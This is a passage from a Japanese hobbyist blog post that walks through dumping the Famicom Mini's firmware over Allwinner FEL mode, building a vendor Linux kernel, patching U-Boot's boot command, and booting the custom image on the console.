    3. シリアルコンソールで fastboot_test コマンドを実行して、FELモードに入ります。

      fastbootと言いつつFELモードに入ります。このFELモードでは最初からDRAMが有効化されています。ただし、シリアルコンソールが壊れるようです。

    4. ホストで以下のコマンドを実行して、手順1.2で読みだしたイメージをホストへ転送します。

      sunxi-fel read 0x58000000 0x1000000 0000-0080.bin
      
    5. U-bootのマジック uboot でイメージ中を検索するとU-bootが見つかります。オフセット0x14にサイズが格納されているので、それを元に切り出します。切り出したファイルをu-boot.binとします。

    6. 起動イメージのマジック ANDROID! でイメージ中を検索すると起動イメージが見つかるので、適当に切り出します。切り出したファイルをboot.imgとします。

  2. Linuxのビルド

    配布されているソースコード中の linux-9ed0e6c8612113834e9af9d16a3e90b573c488ca をビルドします。

    1. drivers/video/sunxi/hdmi_ep952/EP952api.h のコメントアウトされている WARN マクロを有効にします。

    2. 以下のコマンドを実行してconfigします。

      export ARCH=arm
      export CROSS_COMPILE=arm-linux-gnueabi-
      
      make sun8iw5p1smp_defconfig
      
    3. .configに以下の変更を加えます。

      CONFIG_INITRAMFS_SOURCE=""
      CONFIG_CMA=y
      CONFIG_FB_SUNXI=y
      CONFIG_CMDLINE_FORCE=n
      CONFIG_USB_SUPPORT=n
      

      USBを切っているのは単にサイズ削減の為です。

    4. 以下のコマンドを実行してビルドします。

      make zImage
      

      対話的に聞かれるconfigの確認は全部そのままでもとりあえず動きました。

  3. U-boot, 起動イメージの作成

    1. u-boot.bin中の bootcmd=sunxi_flash phy_read 43800000 30 20;boota 43800000bootcmd=boota 43800000 に置換します(オフセットがずれないようにNULLパディング)。

    2. 以下のコマンドで起動イメージを展開します。

      abootimg -x boot.img
      
    3. zImageを手順2で作成したものに差し替え、以下のコマンドで起動イメージを再作成します。

      abootimg --create myboot.img -f bootimg.cfg -k zImage -r initrd.img
      

      このままではinitrd.imgを展開できないので、起動しても /init を実行できずにPanicします。 起動後にシェル等を操作したい場合は、カーネルパラメーターとinitrd.imgを適宜編集したり作りなおして下さい。

  4. Linuxの起動

    1. 手順1.1, 1.3でFELモードに入ります。

    2. ホストで以下のコマンドを実行すると、Linuxが起動します。

      sunxi-fel write 0x43800000 myboot.img
      sunxi-fel write 0x47000000 u-boot.bin
      sunxi-fel exe   0x47000000
      

おわりに

ざっと手順を書き出しました。ファミコンミニは拡張性が低いのが難点ですが、計算能力はそれなりにあるので色々な事ができそうです。 Linuxカーネルはとりあえず動くものをビルドしたので、より適切なビルド方法は他にあるかと思いますし、起動手順ももっと簡素な物がありそうです。

作業を始めた当初は fastboot_test コマンドでDRAM有効化済みのFELモードに入れる事に気付いておらず、 efex コマンドでDRAM無効なFELモードに入って、頑張って自前でDRAMを有効化して作業していました。 その辺のU-bootの紆余曲折やソースコードを解説する記事を、C91で頒布する同人誌 urandom vol.3 に書く予定です(落とさなければ)。続報は追ってこのブログに書きます。